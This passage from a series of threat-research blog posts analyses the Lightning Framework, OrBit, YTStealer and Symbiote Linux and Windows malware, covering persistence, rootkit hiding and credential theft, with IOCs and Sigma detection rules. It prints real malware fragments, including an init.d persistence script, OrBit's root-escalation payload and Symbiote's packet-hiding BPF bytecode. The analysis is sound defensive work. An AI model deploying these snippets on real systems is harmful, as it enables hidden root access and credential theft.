Resources fetched from the C2

The method of contacting the C2 will be described below in the malleable C2 section (click here to jump to that section). The downloader will then execute the core module (kkdmflush).

Execution of the core module

Lightning.Core

The core module is the main module in this framework, it is able to receive commands from the C2 and execute the plugin modules. The module has many capabilities and uses a number of techniques to hide artifacts to remain running under the radar.

The core module modifies the name of the calling thread of the module to kdmflush, to make it appear that it is a kernel thread.

Using prctl to modify calling thread name

Next the core module sets up persistence by creating a script that is executed upon system boot. This is achieved by first creating a file located at /etc/rc.d/init.d/elastisearch. The name appears to typosquat elasticsearch. The following contents are written to the file:

#!/bin/bash
# chkconfig:2345 90 20
/usr/lib64/seahorses/kbioset &

This script will execute the downloader module upon boot. The service is then added using the chkconfig utility.

Creation of the init.d script and service

The timestamp of the file is modified to hide artifacts, a technique known as “timestomping”. The file has its last modified time edited to match that of either whoami, find, or su. It will look for each file respectively until it finds one. This technique is used for most of the files that the framework creates.

File timestamp modification function

The malware will attempt to hide its Process ID (PID) and any related network ports. This is achieved by writing the frameworks running PIDs to two files: hpi and hpo. These files are parsed and then the existence of the file proc/y.y is checked. If the file exists, it means that a rootkit has been installed. The PIDs are written to proc/y.y for use by the rootkit, which may scrub any reference to files running in the framework from commands such as ps and netstat.

Writing PID to proc/y.y if it exists (Indication that rootkit exists)

The core module will generate a GUID in the same manner as the downloader and contact the C2. The response is parsed and the command is executed. The core module has the following commands:

Command	Description
`SystemInfo`	Fingerprints the machine
`PureShellCommand`	Runs Shell command
`RunShellPure`	Starts the `Linux.Plugin.Lightning.Sshd` (SSH Daemon) plugin
`CloseShellPure`	Terminates the `Linux.Plugin.Lightning.Sshd` plugin
`Disconnect`	Exits the Core module
`GetRemotePathInfo`	Collects the summary of given path
`KeepAlive`	No action, connection remains alive
`UploadFileHeader`	Checks access of file
`FileEdit`	Gets contents of file and time meta
`TryPassSSH`	Adds a public key to the `root/.ssh/authorized_keys` file
`DeleteVecFile`	Deletes the specified file or path
`PreDownloadFile`	Calculates a checksum of the file
`DownloadFile`	Sends a file to the C2
`DeleteGuid`	Removes the framework
`UpdateVersion`	Calls the Downloader module to update the framework
`UpdateRemoteVersion`	Updates the framework including the downloader
`Socks5`	Sets up a Socks5 proxy
`RestorePlug`	The same as `UpdateVersion`
`GetDomainSetting`	Fetches the contents of the malleable C2 configuration file (`cpc`)
`SetDomainSetting`	Updates the contents of the malleable C2 configuration file (`cpc`)
`InstallKernelHide`	Fetches the OS release
`RemoveKernelHide`	Removes kernel module
`UpdateKernelVersion`	Removes the kernel module and runs `uname -r`
`OverrideFile`	Overwrites specified file
`UploadFileContent`	Writes data sent from server to file
`LocalPluginRequest`	Either write the LD_PRELOAD rootkit or LKM rootkit

Network Communication

Network communication in the Core and Downloader modules are performed over TCP sockets. The data is structured in JSON. The C2 is stored in a polymorphic encoded configuration file that is unique for every single creation. This means that configuration files will not be able to be detected through techniques such as hashes. The key is built into the start of the encoded file.

Encoded malleable C2 configuration profile

The dynamic XOR decoding routine

The decoded configuration is structured in JSON. The default configuration in the analyzed sample uses a local IP address 10.2.22[.]67 with the port 33229.

Decoded default configuration

There is a passive mode of communication available if the actor executes the RunShellPure command. This starts an SSH service on the infected machine with the Linux.Plugin.Lightning.Sshd plugin. The plugin is an OpenSSH daemon that has hardcoded private and host keys, allowing the attacker to SSH into the machine with their own SSH key, creating a secondary backdoor.

Hardcoded keys inside the modified OpenSSH daemon

Summary

The Lightning Framework is an interesting malware as it is not common to see such a large framework developed for targeting Linux. Although we do not have all the files, we can infer some of the missing functionality based on strings and code of the modules that we do possess. Check out our next blog here about detection opportunities for Lightning Framework using osquery.

We would like to extend a huge thanks to our friends and partners at IBM and SentinelOne for their help during investigating this threat.

IOCs for Lightning Framework

Hashes

File	SHA256
`Lightning.Downloader`	`48f9471c20316b295704e6f8feb2196dd619799edec5835734fc24051f45c5b7`
`Lightning.Core`	`fd285c2fb4d42dde23590118dba016bf5b846625da3abdbe48773530a07bcd1e`
`Linux.Plugin.Lightning.Sshd`	`ad16989a3ebf0b416681f8db31af098e02eabd25452f8d781383547ead395237`

Sigma Detection Rules

title: Lightning Framework File Path
status: experimental
description: Detects creation of files related to Lightning Framework.
author: Intezer
references:
 - https://intezer.com
logsource:
 product: linux
 category: file_create
detection:
 selection1:
 TargetFilename|startswith:
 - '/usr/lib64/seahorses/'
 selection2:
 TargetFilename|contains:
 - 'kbioset'
 - 'cpc'
 - 'kkdmflush'
 - 'soss'
 - 'sshod'
 - 'nethoogs'
 - 'iftoop'
 - 'iptraof'
 condition: selection1 and selection2
falsepositives:
 - Unknown.

title: Lightning Default C2 Communication
status: experimental
description: Detects communication to default local ip for Lightning Framework
author: Intezer
references:
 - https://intezer.com
logsource:
 category: firewall
detection:
 select_outgoing:
 dst_ip: 10.2.22.67
 dst_port: 33229
 condition: select_outgoing
falsepositives:
 - Unknown.

MITRE ATT&CK

Tactic	Technique	ID	Description
Persistence	Boot or Logon Initialization Scripts	T1037	An init.d script is used for persistence of downloader module
Persistence	SSH Authorized Keys	T1098.004	SSH keys can be added to the authorized_keys file
Defense Evasion	Obfuscated Files or Information	T1027	The C2 profile is encoded on disk
Defense Evasion	Deobfuscate/Decode Files or Information	T1140	The C2 profile is decoded with a dynamic XOR algorithm
Defense Evasion	Hide Artifacts	T1564	Many artifacts are hidden including ports, PIDs, and file timestamps
Defense Evasion	Masquerading	T1036	Many files are masqueraded as other files or tasks
Defense Evasion	Rootkit	T1014	LKM and LD_PRELOAD rootkits are used
Defense Evasion	Timestomp	T1070.006	Files created by Lightning are modified to match that of other utilities
Defense Evasion	File Deletion	T1070.004	The framework has the ability to remove itself
Discovery	File and Directory Discovery	T1083	The framework can list files and directories on infected systems
Discovery	Network Service Discovery	T1046	Multiple plugins can be used to perform network service discovery
Discovery	Network Sniffing	T1040	Multiple plugins can be used to perform network sniffing
Discovery	System Information Discovery	T1082	Lightning can perform detailed system fingerprinting
Command and Control	Data Encoding	T1132	Data from the C2 is encoded
Command and Control	Non-Application Layer Protocol	T1095	Communication with the C2 is performed over TCP
Command and Control	Proxy	T1090	The framework has the ability to start a Socks5 proxy
Command and Control	Exfiltration Over C2 Channel	T1041	Data can be exfiltrated

OrBit: New Undetected Linux Threat Uses Unique Hijack of Execution Flow

Wed, 06 Jul 2022 00:00:00 +0000

Linux is a popular operating system for servers and cloud infrastructures, and as such it’s not a surprise that it attracts threat actors’ interest and we see a continued growth and innovation of malware that targets Linux, such as the recent Symbiote malware that was discovered by our research team.

In this blog we will provide a deep technical analysis of a new and fully undetected Linux threat we named OrBit, because this is one of the filenames that is being used by the malware to temporarily store the output of executed commands. It can be installed either with persistence capabilities or as a volatile implant. The malware implements advanced evasion techniques and gains persistence on the machine by hooking key functions, provides the threat actors with remote access capabilities over SSH, harvests credentials, and logs TTY commands. Once the malware is installed it will infect all of the running processes, including new processes, that are running on the machine.

Unlike other threats that hijack shared libraries by modifying the environment variable LD_PRELOAD, this malware uses 2 different ways to load the malicious library. The first way is by adding the shared object to the configuration file that is used by the loader. The second way is by patching the binary of the loader itself so it will load the malicious shared object.

Technical Analysis

The OrBit Dropper

The dropper sample on VT 67048a69a007c37f8be5d01a95f6a026

The dropper installs the payload and prepares the environment for the malware execution. The malware can be installed as a volatile module or with persistence capabilities. It receives command line arguments and based on them it extracts the payload to one of the locations. Using the command line arguments the installation path can be swapped and the content of the payload can be updated or entirely uninstalled. From here on in the report, we will simply use MALWARE_FOLDER as referring to the location where the malware has been installed.

To install the payload and add it to the shared libraries that are being loaded by the dynamic linker, the dropper calls a function called patch_ld. First, it reads the symbolic link of the dynamic linker /lib64/ld-linux-x86-64.so.2 and checks if the malicious payload is already loaded by searching for the path used by the malware. If it is found the function can swap it with the other location. Otherwise, it looks for /etc/ld.so.preload and replaces it with a symbolic link to the location of malicious library: /lib/libntpVnQE6mk/.l or /dev/shm/ldx/.l (depending on the on the argument passed to the dropper). Lastly, it will append /etc/ld.so.preload to the end of the temp file to make sure that the malicious library will be loaded first.

Before it loads the malicious library to the dynamic linker, the dropper makes sure to save a copy of the legitimate dynamic linker into MALWARE_FOLDER/.backup_ld.so so it if needed it can restore the environment and to use the legitimate data to hide the malware (more about in the next section).

The preparation of the environment is achieved by setting a unique group ID (GID) to the path that is used by the malware. In the sample we analyzed the value is 0xE0B2E, the same GID will be used by the payload. In addition, the dropper copies python (from /usr/bin/python) to the MALWARE_FOLDER and creates 4 additional files that will be used by the malware:

/lib/libntpVnQE6mk/.logpam
/lib/libntpVnQE6mk/sshpass.txt
/lib/libntpVnQE6mk/sshpass2.txt
/lib/libntpVnQE6mk/.ports

And the dropper writes the following 2 files, to grant the threat actors remote access.

The payload below is saved in MALWARE_FOLDER/bin/escalator

import os
os.setreuid(0,0)
os.execv("/bin/bash", ("/bin/bash", "-i"))

The payload below is saved in MALWARE_FOLDER/.profile

#!/bin/bash
if [ "$(id -u)" -ne 0 ] ; then
echo "Welcome to $(hostname). You are GID $(id -g), UID $(id -u) and about to be escalated to UID 0."
exec ~/bin/python ~/bin/escalator
fi

The OrBit Payload

The payload sample on VT ac89d638cb6912b58de47ac2a274b2fb

The payload is a shared object (.SO file) that can be placed either in persistent storage, for example /lib/libntpVnQE6mk/, or in shim-memory under /dev/shm/ldx/. If it’s placed in the first path the malware will be persistent, otherwise it is volatile.

The shared object hooks functions from 3 libraries: libc, libcap and Pluggable Authentication Module (PAM). Existing processes that use these functions will essentially use the modified functions, and new processes will be hooked with the malicious library as well, allowing the malware to infect the whole machine and harvest credentials, evade detection, gain persistence and provide remote access to the attackers.

When implementing the hooking of libc functions it first calls syscall with the corresponding system call number as can be seen in the screenshot below. Strings are obfuscated with simple XOR with a hardcoded key.

Hooked stat function in the malware

SSH connection

One of the capabilities of the malware is to set up a remote connection on the machine, it hooks 3 functions in the Pluggable Authentication Module library: pam_open_session, pam_authenticate and pam_acct_mgmt. By hooking these functions the malware is capable of stealing information from SSH connections and providing remote access to the attackers and hiding the network activity.

When the hooked pam_authenticate is called it checks if the user name and the password equal to hardcoded values, and if that’s the case it will log the port that is used for the connection in /lib/libntpVnQE6mk/.ports and open the SSH connection. In other cases, it will check if the file /lib/libntpVnQE6mk/.logpam exists (in the sample we analyzed it was created by the dropper) and if so it will log the credentials to a file /lib/libntpVnQE6mk/sshpass.txt. Essentially the first file serves as a flag.

OrBit’s evasion techniques

To evade detection the malware hooks multiple functions to prevent them from outputting information that might reveal the existence of the malicious shared library in the running processes or the files that are being used by the malware. The malware uses a hardcoded GID value (the one set by the dropper) to identify the files and processes that are related to the malware and based on that it will manipulate the behavior of the hooked functions. For example, readdir is hooked to check the GID of the calling process, if it doesn’t match the hardcoded value, all of the directories with the predefined GID value will be omitted from the function’s output.

Call getgid system call to check the GID of the process

The malware hooks functions that open files: fopen, open, open64, and openat and checks if the file that was provided to the relevant open function is part of the proc file system. One of the paths that is being checked is /proc/net/tcp as it can disclose the network traffic generated by the backdoor. The way in which the malware handles the output of this file is similar to other files that are being opened and resembles the implementation in Symbiote. The hooked function reads the content of the file and compares the content, one line at a time to the content of MALWARE_FOLDER/.ports which holds the information about port and addresses used by the malware. The malware creates a temp file and writes only the lines that don’t expose the malware. Once the file has proceeded, the malware returns the file descriptor to the temp file to the caller.

The following file paths show the currently mapped memory regions and their access permissions:

/proc/%PID%/maps
/proc/%PID%/smaps
/proc/%PID%/numa_maps

When a process accesses one of these files it may disclose the shared library, therefore the hooked open functions verify that the output doesn’t contain a path to the directory used by the malware, in a similar way as described above.

Another file in the proc filesystem that is being checked is /proc/loadavg. This file is used by utilities such as uptime, it provides information about the CPU usage and the status of currently running processes. The malware will process the information from this file in a similar way as the previous files.

The malware hooks execve to evade detection of certain utilities, control the behavior of processes and to maintain its persistence by infecting new processes. The hooking logic checks the process name and path and compares it to different usulites in /bin, /usr and /sbin.

The hooked execve function is used by the malware to hide the network activity, the malware checks if the new process is ip or iptables utility (it checks both the /usr/sbin and /sbin) it will first execute the command and pipe the output to a local buffer where it will inspect the records and check if there is a match between the records and the information stored in MALWARE_FOLDER/.net or MALWARE_FOLDER/.fw – the record will be omitted from the command’s output.

When execve is called with dmesg the malware omits records that are equal to the records in MALWARE_FOLDER/.sys/.dmesg, and records that contain one of the following keywords: zapping, tcpdump, promiscuous, libntpVnQE6mk, libdl.so.

execve checks if the function was called with the environment variable LD_TRACE_LOADED_OBJECTS, when this variable is set causes the program to list its dynamic dependencies. The malware saves the original (unpatched) dynamic linker in a backup file, so when execve is called with this variable the output that will be presented is as if the legitimate dynamic linker was called and it will not list the malicious library. Essentially the following command is being executed:

MALWARE_FOLDER/.backup_ld --list %s

strace is another utility that is being examined by the hooked execve. Because the output of strace can reveal the malicious library as one of the libraries that is being loaded by a traced process. strace can be executed with the -o flag that specifies a file path to which the output will be piped, if it’s not set in the command the malware will write the output of strace to /tmp/.orbit. Similar to other utilities, the malware executes the command and gets the result from the output file. Next it omits records that contain the symlink one of the following: the malicious library (MALWARE_FOLDER/.l), the GID which is used by the malware (920366) and its folder path.

Achieving Persistence

The malware uses two methods to achieve persistence. The reason the malware uses both of the methods is to make it hard removing the malware from an infected machine while it’s running. The first method adds the path to the malware into the /etc/ld.so.preload configuration file. This instructs the loader that the malware should be loaded first and for all new processes. In the case this method is prevented by, for example removing the configuration file on the infected machine, the malware has its second method which is achieved by patching the loader binary.

The malware first makes a copy of the loader’s binary so it can patch it. It performs a simple search in the binary for the string /etc/ld.so.preload. Once it’s found, it replaces the string to a path to a file within the %MALWARE_FOLDER%. The content of this file has the path to the malware library to act as a ld.so.preload configuration file. This means when the patch loader is executed, it uses the file in the %MALWARE_FOLDER% instead under /etc. The malware author has set up these two methods to act as catches in the case one of them goes away. For example, if an administrator wants to stop the malware from being loaded by removing the configuration file under /etc so the hidden files can be revealed, the patched loader who doesn’t use this file, will just load the malware who will recreate the configuration file. If the administrator instead overwrites the patched loader with a clean version, the clean loader loads the malware from the ld.so.preload configuration file which repatches the loader.

Information Stealing

The backdoor hooks the read and write functions to log data that is being written by the executed processes on the machine. The backdoor checks the flag: sniff_ssh_session that defines whether any call to write will be logged or only processes executed with sudo or ssh sessions. Appears that the functionality of the flag doesn’t reflect the actual flow of the write function – when the flag is set to false the hooked function checks if the process was executed with sudo or if the calling process is ssh and logs the buffer that was passed to the original write function, the data is stored at: MALWARE_FOLDER/sshpass2.txt. Otherwise when the flag is set to true, the buffer is logged to MALWARE_FOLDER/sniff.txt without verification of the calling process name. Once the hooked function is done it will return the return value of the original function call.

Checking the flag sniff_ssh_session.

For bash and sh processes that call execve the hook will log the path argument that holds the path to the file that will be executed as a new process, the hooked function will append a timestamp and the full path and write the information into MALWARE_FOLDER/execlog.

Network Capabilities

The backdoor hooks function from the libpcap library to hide network activity. If hooks bind and connect functions to log the ports that are being used by processes with the malwar’s gid, the ports are being written to MALWARE_FOLDER/.ports. The content of this file is used by the backdoor to manage the ports that are being used in sessions that were opened by the activity of the backdoor. When a new SSH session is created the port and IP address is being written to the file.

The malware hooks the pcap_loop function and pcap_packet_callback to filter out the traffic of the backdoor. To accomplish this task the hooked pcap_packet_callback omits ports that are in MALWARE_FOLDER/.ports as it contains all of the ports used by the backdoor.

Comparing to other Linux threats

While it’s common for malware to hook functions, the usual technique is by loading a shared library using LD_PRELOAD – that was the case for Symbiote, HiddenWasp and other threats.

This malware uses XOR encrypted strings and steals passwords – similar to other Linux backdoors reported by ESET. But unlike other threats, this malware steals information from different commands and utilities and stores them in specific files on the machine. Besides, there is an extensive usage of files for storing data, something that was not seen before.

What makes this malware especially interesting is the almost hermetic hooking of libraries on the victim machine, that allows the malware to gain persistence and evade detection while stealing information and setting SSH backdoor.

Conclusion

Threats that target Linux continue to evolve while successfully staying under the radar of security tools, now OrBit is one more example of how evasive and persistent new malware can be.

I want to thank Joakim Kennedy for his contribution to this research.

IoCs

Hash	File
`f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8`	Dropper
`40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020`	Payload

YTStealer Malware: "YouTube Cookies! Om Nom Nom Nom"

Wed, 29 Jun 2022 00:00:00 +0000

The Stage: The Dark Web Market for YouTube Account Access

In 2006, the term “data is the new oil” was coined. Ever since then, the value of data has just increased. We live in a world where many corporations collect data on users in an attempt to monetize it. This is not just limited to legitimate corporations; the same occurs on the Dark Web. With data, someone always wants to turn it into money. One thing that’s interesting when it comes to the Dark Web is that a lot of these deals are not happening behind closed doors. Instead, they are sometimes advertised front and center on the forums.

These Dark Web forums have become their own small economies where threat actors specialize in specific services. This specialization has made it easier for these threat actors to monetize what they are good at. We see this, especially in the ransomware scene. There are specialized roles for people that gain access to organizations, steal and encrypt data for the double extortion effect, to ransom negotiators. Another hypothetical chain is: a threat actor sells malware to another that uses the malware to steal data from an organization. The data is sold to another that tries to convert the data into cash. As you move along this chain, the amount of money exchanged usually increases since each party wants to turn in a profit, but the risks also increase. At some point, one of these threat actors must interact with the real world to obtain the cash. This is when they are usually exposed, if they haven’t already made other mistakes.

In this blog post, we are describing a new malware that we have concluded is highly likely sold as a service on the Dark Web. We have named the malware YTStealer because its sole objective is to steal authentication cookies from YouTube content creators. In June 2020, IntSights released a report on a new trend that they observed. In this trend, threat actors were selling access to YouTube accounts. The goal of this write-up is to share one of the many methods threat actors are using to obtain these accounts.

One Stealer, One Goal

YTStealer is a malware whose objective is to steal YouTube authentication cookies. As a stealer, it operates like many other stealers. The first thing it does when it’s executed is to perform some environment checks. This is to detect if the malware is being analyzed in a sandbox. The code that performs the checks comes from an open-source project hosted on GitHub called Chacal. Figure 1 shows a screenshot of the project’s readme file. The framework is marketing itself for Red Teams and pen-testers. It provides anti-debugging, anti-memory analysis, and anti-VM functionality.

Figure 1: Part of Chacals README.

What sets YTStealer aside from other stealers sold on the Dark Web market is that it is solely focused on harvesting credentials for one single service instead of grabbing everything it can get ahold of. When it comes to the actual process, it is very similar to that seen in other stealers. The cookies are extracted from the browser’s database files in the user’s profile folder.

If YTStealer finds authentication cookies for YouTube, it does something interesting though. To validate the cookies and to grab more information about the YouTube user account, the malware starts one of the installed web browsers on the infected machine in headless mode and adds the cookie to its cookie store. By starting the web browser in headless mode, the malware can operate the browser as if the threat actor sat down on the computer without the current user noticing anything. To control the browser, the malware uses a library called Rod. Rod provides a high-level interface to control browsers over the DevTools Protocol and markets itself as a tool for web automation and scraping.

Figure 2: Screenshot of Rods documentation describing the framework.

Using the web browser, YTStealer navigates to YouTube’s Studio page which allows content creators to manage their content. From YouTube studio, the malware grabs information about the user’s channels. The data it grabs includes the channel name, how many subscribers it has, how old it is, if it is monetized, an official artist channel, and if the name has been verified. All the data is encrypted with a key that is unique for each sample and sends it together with a sample identifier to the command and control (C2) server located at the domain name youbot[.]solutions.

YTStealer doesn’t discriminate about what credentials it steals, whether it’s someone uploading Minecraft videos to share with a few friends or a channel like Mr. Beast with millions of subscribers. On the Dark Web, the “quality” of stolen account credentials influences the asking price, so access to more influential YouTube channels would command higher prices.

What is “YouBot Solutions”?

While investigating all the YTStealer samples that we have come across, we noticed that all shared the same build path. The path, shown below, looks like a path from an internal build service. The path also includes the domain name to which the stealer exfiltrates the stolen data.

/home/admin/web/youbot.solutions/public_html/Builder/Sources

This domain name was registered back in December 2021 and hosts a web server behind Cloudflare that returns an empty response. By using the domain name we identified an American corporation with the name of “YOUBOT SOLUTIONS LLC”. The corporation was registered in New Mexico on March 8, 2022 (unfortunately, the State of New Mexico’s corporation registry is not accessible outside of the US but the data can be obtained from third party providers). Figure 2 shows a screenshot of a Google Business entry for a company with the same name and address as in the registry database. The company lists itself as a software company that “provides [sic] unique solutions for getting and monetizing targeted traffic”. The website provided in the listing points to youbot[.]solutions.

Figure 3: Google Business listing for YOUBOT SOLUTIONS LLC.

The business listing has a logo of an eye in a red circle. A Google image search using the icon returned some results with the same image. All the results were under the domain aparat[.]com. Aparat is an Iranian video-sharing site that was founded in 2011. The image matched was used as a profile picture for a user on the site. Figure 4 shows the profile page of the user. The profile page provided a link to a Twitter account. Figure 5 shows a screenshot of the Twitter account.

Figure 4: Screenshot of Aparat user accounts profile page that uses YOUBOT SOLUTIONS LLCs logo as their profile image.

Figure 5: Twitter profile linked to in the Aparat user profile.

How Are Victims Targeted?

Given the optics of the infrastructure and that each sample has a unique identifier, it appears that YTStealer is sold as a service to other threat actors. With this in mind, we decided to look into if we could get a better understanding of who is targeted by this stealer. As it is designed to steal YouTube credentials, it’s already clear that YouTube content creators are being targeted. Can we narrow the scope further?

We looked at files that either dropped or downloaded the YTStealer samples that we have collected. The first observation is that the majority of these files don’t just drop YTStealer. The droppers also came loaded with other stealers, including RedLine and Vidar stealers. Of the different stealers used together with YTStealer, RedLine stealer was the highest count. Figure 6 shows the analysis of one of the files that drop both YTStealer and RedLine. One of the memory modules found has a lot of shared code with other RedLine stealer samples in our dataset.

Figure 6: Intezer Analyze result for one of the malware dropping YTStealer together with RedLine stealer. (https://analyze.intezer.com/files/132f868aabbd82b36b283f0b6768133b6297de0acd5f47e6cb9a76dc07fd276a)

A lot of these files are disguised as installers for tools or legitimate software. With it targeting content creators, we would expect some of the names to overlap with tools or software used by the intended targets. Grouping the names, we do see some overlap.

One of the groups is “Digital, Image, and Video software”. We found fake installers for OBS Studio, an open-source streaming software. Additionally, we identified a few video editing software installers which included Adobe Premiere Pro, Filmora, and HitFilm Express. In the audio category, we identified fake installers for digital audio workstation (DAW) applications and plugins. This included the DAWs Ableton Live 11 Suite and FL Studio. The plugins included the infamous Antares Auto-Tune Pro, but also Valhalla DSP, FabFilter Total, and Xfer Serum.

The second group is what we call “Game mods and cheats”. The games match popular games used by streamers and content creators. We identified fake installers for the FiveM Grand Theft Auto V mod, different “hacks” for Roblox, and cheats for Counter-Strike Go, and Call of Duty. A variant of the Valorant hack reported on by AhnLab earlier was also discovered. Valorant “gamers” were also targeted by a “Skin Changer”.

Another group of tools that can be classified as adjacent to games is driver tools. Gamers usually would like to squeeze the very last drop of performance out of their gaming rigs. One way of doing this is to “ensure you are using updated drivers and that they are tuned correctly”. In this group, we found fake installers for tools such as “Driver Booster” and “Driver Easy”.

The last group is for other software and “cracks”. Here we identified anything from fake installers for security products, such as Norton Security and Malwarebytes to “token generators” and “cracks” for services such as Discord Nitro, Stepn, and Spotify Premium.

The overwhelming part of these fake installers are for pirated versions of the software, but we also see some fake installers for game mods. This finding should further stress the importance of only obtaining software from trusted sources. Only obtain software directly from the vendor or “modding” group.

Lessons Learned

Someone always has a way of monetizing data. When it comes to stolen YouTube authentication data, we haven’t analyzed how it’s being monetized in the next step of the chain. One potential option could be to defraud the subscribers of channels. When it comes to how this malware is infecting the victims, we can see a trend. Most of the fake installers used were for cracked versions of legitimate software. We also saw fake installers for mods and cheats for games. When it comes to how to protect yourself, the classic security practice should be applied. Only use software from trusted sources.

Indicators of Compromise

IoCs can be found on GitHub here.

Symbiote: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat

Wed, 22 Jun 2022 00:00:00 +0000

This research is a joint effort between Joakim Kennedy, Security Researcher at Intezer, and the BlackBerry Threat Research & Intelligence team. It can be found in the BlackBerry blog here as well.

In biology, a symbiote is an organism that lives in symbiosis with another organism. The symbiosis can be mutually beneficial to both organisms, but sometimes it can be parasitic when one benefits and the other is harmed. A few months back, we discovered a new, undetected Linux® malware that acts in this parasitic nature. We have aptly named this malware Symbiote.

What makes Symbiote different from other Linux malware that we usually come across, is that it needs to infect other running processes to inflict damage on infected machines. Instead of being a standalone executable file that is run to infect a machine, it is a shared object (SO) library that is loaded into all running processes using LD_PRELOAD (T1574.006), and parasitically infects the machine. Once it has infected all the running processes, it provides the threat actor with rootkit functionality, the ability to harvest credentials, and remote access capability.

The Birth of a Symbiote

Our earliest detection of Symbiote is from November 2021, and it appears to have been written to target the financial sector in Latin America. Once the malware has infected a machine, it hides itself and any other malware used by the threat actor, making infections very hard to detect. Performing live forensics on an infected machine may not turn anything up since all the file, processes, and network artifacts are hidden by the malware. In addition to the rootkit capability, the malware provides a backdoor for the threat actor to log in as any user on the machine with a hardcoded password and to execute commands with the highest privileges.

Since it is extremely evasive, a Symbiote infection is likely to “fly under the radar.” In our research, we haven’t found enough evidence to determine whether Symbiote is being used in highly targeted or broad attacks.

One interesting technical aspect of Symbiote is its Berkeley Packet Filter (BPF) hooking functionality. Symbiote is not the first Linux malware to use BPF. For example, advanced backdoors attributed to the Equation Group have been using BPF for covert communication. However, Symbiote utilizes BPF to hide malicious network traffic on an infected machine. When an administrator starts any packet capture tool on the infected machine, BPF bytecode is injected into the kernel that defines which packets should be captured. In this process, Symbiote adds its bytecode first so it can filter out network traffic that it doesn’t want the packet-capturing software to see.

Evasion Techniques

Symbiote is very stealthy. The malware is designed to be loaded by the linker via the LD_PRELOAD directive. This allows it to be loaded before any other shared objects. Since it is loaded first, it can “hijack the imports” from the other library files loaded for the application. Symbiote uses this to hide its presence on the machine by hooking libc and libpcap functions. The image below shows a summary of the malware’s evasions.

Figure 1: Symbiote evasion techniques.

Host Activity

The Symbiote malware, in addition to hiding its own presence on the machine, also hides other files related to malware likely deployed with it. Within the binary, there is a file list that is RC4 encrypted. When hooked functions are called, the malware first dynamically loads libc and calls the original function. This logic is used in all hooked functions. An example is shown in Figure 2 below.

Figure 2: Logic for resolving readdir from libc.

If the calling application is trying to access a file or folder under /proc, the malware scrubs the output from process names that are on its list. The process names in the list below were extracted from the samples we have discovered.

certbotx64
certbotx86
javautils
javaserverx64
javaclientex64
javanodex86

If the calling application is not trying to access something under /proc, the malware instead scrubs the result from a file list. The files extracted from all the samples we examined are shown in the list below. Some of the file names match those used by Symbiote, while others match names of files suspected to be tools used by the threat actor on the infected machine. The list includes the following files.

apache2start
apache2stop
profiles.php
404erro.php
javaserverx64
javaclientex64
javanodex86
liblinux.so
java.h
open.h
mpt86.h
sqlsearch.php
indexq.php
mt64.so
certbot.h
cert.h
certbotx64
certbotx86
javautils
search.so

One consequence of Symbiote being loaded into processes via LD_PRELOAD is that tools like ldd, a utility that prints the shared libraries required by each program, will list the malware as a loaded object. To counter this, the malware hooks execve and looks for calls to this function with the environment variable LD_TRACE_LOADED_OBJECTS set to 1. To understand why, it’s worth looking at the manual page for ldd:

In the usual case, ldd invokes the standard dynamic linker (see ld.so(8)) with the LD_TRACE_LOADED_OBJECTS environment variable set to 1. This causes the dynamic linker to inspect the program’s dynamic dependencies, and find (according to the rules described in ld.so(8)) and load the objects that satisfy those dependencies. For each dependency, ldd displays the location of the matching object and the (hexadecimal) address at which it is loaded. (The linux-vdso and ld-linux shared dependencies are special; see vdso(7) and ld.so(8).)

When the malware detects this, it executes the loader as ldd does, but it scrubs its own entry from the result.

Network Activity

Symbiote also has functionality to hide network activity on the infected machine. It uses three different methods to accomplish this. The first method involves hooking fopen and fopen64. If the calling application tries to open /proc/net/tcp, the malware creates a temp file and copies the first line to that file. After that, it scans each line for the presence of specific ports. If the malware finds a port it’s searching for on a line it’s scanning, it skips to the next line. Otherwise, the line is written to the temp file. Once the original file has been completely processed, the malware closes the file and returns the file descriptor of the temp file back to the caller. Essentially, this gives the calling process a scrubbed result, which excludes all entries of the network connections that the malware wants to hide.

The second method Symbiote uses to hide its network activity is by hijacking any injected packet filtering bytecode. The Linux kernel uses extended Berkeley Packet Filter (eBPF) to allow packet filtering based on rules provided from a userland process. The filtering rule is provided as eBPF bytecode that the kernel executes on a virtual machine (VM). This minimizes the context switching between kernel and userland, providing a performance boost since the kernel performs the filtering directly.

If an application on the infected machine tries to perform packet filtering with eBPF, Symbiote hijacks the filtering process. First, it hooks the libc function setsockopt. If the function is called with the option SO_ATTACH_FILTER, which is used to perform packet filtering on a socket, it prepends its own bytecode before the eBPF code provided by the calling application.

Code Snippet 1 shows an annotated version of the bytecode injected by one of the Symbiote samples. The bytecode “drops” if they match the following conditions:

IPv6 (TCP or SCTP) and src port (43253 or 43753 or 63424 or 26424)
IPv6 (TCP or SCTP) and dst port 43253
IPv4 (TCP or SCTP) and src port (43253 or 43753 or 63424 or 26424)
IPv4 (TCP or SCTP) and dst port (43253 or 43753 or 63424 or 26424)

While this bytecode only drops packets based on ports, we have also observed filtering of traffic based on IPv4 addresses. In all cases, the filtering operates on both inbound and outbound traffic from the machine, to hide both directions of the traffic. If the conditions are not met, it just jumps to the start of the bytecode provided by the calling application.

The bytecode extracted from one of the samples, as shown in Code Snippet 1, consists of 32 instructions. This code can’t be injected into the kernel on its own, because it assumes that more bytecode exists after it. There are a few jumps in this bytecode that skip to the beginning of the bytecode provided by the calling process. Without the caller’s bytecode, the injected bytecode would jump out-of-bounds, which is not allowed by the kernel. Bytecode like this either has to be handwritten or by patching compiler generated-bytecode. Either option suggests that this malware was written by a skilled developer.

; Load Ether frame type from the packet.
0x00: 0x28 0x00 0x00 0x000c ldabsh 0xc
; Jump if it’s not IPv6 (0x86DD)
0x01: 0x15 0x00 0x0b 0x86dd jeq r0, 0x86dd, +0, +0x0b (jump to 0xd)
; Load IPv6 next header into register.
0x02: 0x30 0x00 0x00 0x0014 ldabsb 0x14
; Short jump if SCTP
0x03: 0x15 0x02 0x00 0x0084 jeq r0, 0x84, +0x2 (jump to 0x6) ; SCTP
; Short jump if TCP
0x04: 0x15 0x01 0x00 0x0006 jeq r0, 0x6, +0x1 (jump to 0x6) ; TCP
; Jump to original byte code if UDP
0x05: 0x15 0x00 0x1a 0x0011 jeq r0, 0x11, +0x1a (jump to 0x20) ; UDP
; Load TCP src port into register.
0x06: 0x28 0x00 0x00 0x0036 ldabsh 0x36
; Jump to drop the packet if port 43253.
0x07: 0x15 0x17 0x00 0xa8f5 jeq r0, 0xa8f5, +0x17 (jump to 0x1f) ; 43253
; Jump to drop the packet if port 43753.
